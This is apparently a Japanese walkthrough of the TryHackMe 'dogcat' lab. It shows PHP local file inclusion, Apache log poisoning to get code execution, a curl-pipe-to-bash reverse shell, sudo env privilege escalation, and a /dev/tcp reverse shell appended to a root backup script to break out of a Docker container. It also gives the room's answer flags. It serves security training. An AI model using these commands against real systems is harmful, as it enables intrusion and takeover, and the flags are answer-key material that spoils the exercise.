概要
TryHackMe「dogcat」のWalkthroughです。
Task1
Q1.What is flag 1?
Hint.There's more to view than just cats and dogs...
ポートスキャンを実行します。
$ nmap -Pn -T4 -sVC -A -p- 10.10.21.15 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)
| 256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)
|_ 256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: dogcat
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 7.6p1 |
80 | http | Apache/2.4.38 |
80
番ポートにアクセスします。
A dog
,A cat
ボタンをそれぞれ押すことで、犬猫の画像が表示されます。
犬の画像はdogs
配下から取得しているようです。
/?view=./dog
の様な値でも正常に動作しました。
ディレクトリスキャンをします。
$ dirsearch -u http://10.10.21.15
[06:05:41] 200 - 0B - /flag.php
ソースコードの中は見られませんがflag.php
を発見しました。
さらに別の辞書ファイルを使用してスキャンします。
$ dirsearch -u http://10.10.21.15 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[06:08:29] 301 - 309B - /cats -> http://10.10.21.15/cats/
[06:08:46] 301 - 309B - /dogs -> http://10.10.21.15/dogs/
?view=cats
でリクエストを送信すると、エラー文からPHPのinclude()
関数でページを読み込んでいると分かりました。
LFIができそうです。
PHP Filter Base64 encodeのテクニックを使用してindex.phpのソースコードを取得できました。
/?view=php://filter/convert.base64-encode/resource=./dog/../index
<!DOCTYPE HTML>
<html>
<head>
<title>dogcat</title>
<link rel="stylesheet" type="text/css" href="/style.css">
</head>
<body>
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<div>
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
</div>
</body>
</html>
ext
パラメータがない場合は.php
拡張子を自動で追加しています。
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
view
パラメータにdog
かcat
の文字列が入っている必要があります。
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
}
同様の手法で先ほど発見したflag.php
を取得します。
/?view=php://filter/convert.base64-encode/resource=./dog/../flag
一つ目のフラグを得られました。
<?php
$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"
?>
A.THM{Th1s_1s_N0t_4_Catdog_ab67edfa}
Q2.What is flag 2?
LFiからのRCEテクニックとしてApacheなどのログポイズニングがあります。
User-AgentなどにPHPのソースコードを埋め込み、LFIを悪用してログファイルを読み込み実行させます。
LFIでログファイルを読み込めるパラメータをBurpでファジングします。
./dog/../../../../../../../var/log/apache2/access.log&ext=
でApacheのアクセスログを表示できました。
User-AgentにRCEのペイロードを挿入しリクエストを送信します。
試しにwhoami
コマンドで確認すると確かに実行されています。
$ curl "http://10.10.92.70/?view=./dog/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fvar%2flog%2fapache2%2faccess%2elog&ext&c=whoami"
(省略)
10.6.55.144 - - [16/Dec/2024:13:21:28 +0000] "GET / HTTP/1.1" 200 500 "-" "www-data"
リバースシェルファイルを作成しターゲットマシンにアクセスさせます。
$ curl "http://10.10.92.70/?view=./dog/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fvar%2flog%2fapache2%2faccess%2elog&ext&c=curl+http://10.6.55.144/shell.sh|bash
実行させることでリバースシェルを張れました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.64.133] 40376
sh: 0: can't access tty; job control turned off
$ whoami
www-data
ホスト名からDockerコンテナ内だと分かりました。
$ hostname
2a6fc154f2bf
sudo -l
で確認するとenv
コマンドが許可されています。
$ sudo -l
sudo -l
Matching Defaults entries for www-data on 330ab76b16f3:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on 330ab76b16f3:
(root) NOPASSWD: /usr/bin/env
GTFOBinsで権限昇格のテクニックが見つかりました。
rootに昇格出来ました。
$ sudo /usr/bin/env /bin/sh
sudo /usr/bin/env /bin/sh
whoami
root
フラグファイルを検索するとフラグ3まで見つかりました。
find / -name *flag* 2>/dev/null
/var/www/html/flag.php
/var/www/flag2_QMW7JvaY2LvK.txt
/root/flag3.txt
/var/www/flag2_QMW7JvaY2LvK.txt
からフラグ2を入手できました。
cat /var/www/flag2_QMW7JvaY2LvK.txt
THM{LF1_t0_RC3_aec3fb}
A.THM{LF1_t0_RC3_aec3fb}
Q3.What is flag 3?
/root/flag3.txt
からフラグ3を取得できました。
cat /root/flag3.txt
THM{D1ff3r3nt_3nv1ronments_874112}
A.THM{D1ff3r3nt_3nv1ronments_874112}
Q4.What is flag 4?
/opt/backups/backup.sh
を確認するとtarコマンドでバックアップを取っていることが分かります。
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
ここにリバースシェルコードを仕込みます。
echo "bash -c 'bash -i >& /dev/tcp/10.6.55.144/12345 0>&1'" >> backup.sh
Netcatでリッスンしているとコンテナを抜けてrootを取得できました。
$ nc -lvnp 12345
listening on [any] 12345 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.64.133] 33606
bash: cannot set terminal process group (8478): Inappropriate ioctl for device
bash: no job control in this shell
root@dogcat:~# whoami
whoami
root
/root/flag4.txt
からフラグ4を入手できました。
# cat /root/flag4.txt
cat /root/flag4.txt
THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}
rootのプロセスを確認すると定期的にコンテナ内のbackup.sh
を実行していました。
CMD: UID=0 PID=8722 | /bin/bash /root/container/backup/backup.sh
A.THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}